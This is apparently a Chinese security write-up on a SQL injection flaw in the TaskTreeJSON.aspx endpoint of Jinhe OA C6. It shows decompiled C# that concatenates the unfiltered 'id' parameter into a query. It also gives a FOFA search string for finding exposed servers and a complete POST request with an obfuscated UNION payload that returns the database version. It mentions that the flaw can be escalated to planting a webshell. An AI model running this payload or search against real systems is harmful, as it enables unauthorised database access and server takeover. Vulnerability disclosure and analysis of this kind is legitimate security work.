漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 TaskTreeJSON.aspx 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

先看下

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="TaskTreeJSON.aspx.cs" Inherits="JHSoft.Web.DailyTaskManage.TaskTreeJSON" %>

在 bin 目录下查找 JHSoft.Web.DailyTaskManage.dll 将其进行反编译后找到 TaskTreeJSON 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  if (this.Session["UserCode"] != null)
    this.strUser = this.Session["UserCode"].ToString();
  this.strParentID = this.Request["id"];
  this.InitTaskTree(this.strParentID);
}

protected void InitTaskTree(string strParentID)
{
  DataTable dataTable = this.dbOperator.ExecSQLReDataTable($"{$" select a.TaskID,a.TaskNumber,a.TaskName,b.UserName as SendName,c.UserName as ExecName,a.TaskProgress,a.TaskFinishFlag,case when exists(select TaskID from TaskManage where TaskFatherID = a.TaskID and TaskIsDel = 0 and TaskFinishFlag = 0) then 1 else 0 end as HasChild,a.TaskRootScale from TaskManage a inner join Users b on a.TaskSendPersonID = b.UserID left join Users c on a.TaskExecutorID = c.UserID where TaskFatherID = '{strParentID}' "} and a.TaskNumber in ( select distinct substring(TaskNumber,0,50) as TaskNumber from TaskManage where (TaskSendPersonID = '{this.strUser}' or (','+TaskExecutorID+',' like '%,{this.strUser},%' or ','+TaskOthersID+',' like '%,{this.strUser},%') or ','+TaskViewRegCode+',' like '%,{this.strUser},%') and TaskFinishFlag <> 2 and TaskIsDel = 0 ) " + " and a.TaskFinishFlag = 0 and a.TaskIsDel = 0 ");

参数 id 被直接拼接进 ExecSQLReDataTable SQL语句中执行，无任何过滤或校验，导致SQL注入漏洞。

漏洞复现

POST /c6/Jhsoft.Web.dailytaskmanage/TaskTreeJSON.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

id='/**/UniOn/**/all/**/SelECt/**/NULL,@@verSion,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

通过联合注入，成功在响应回显数据库版本信息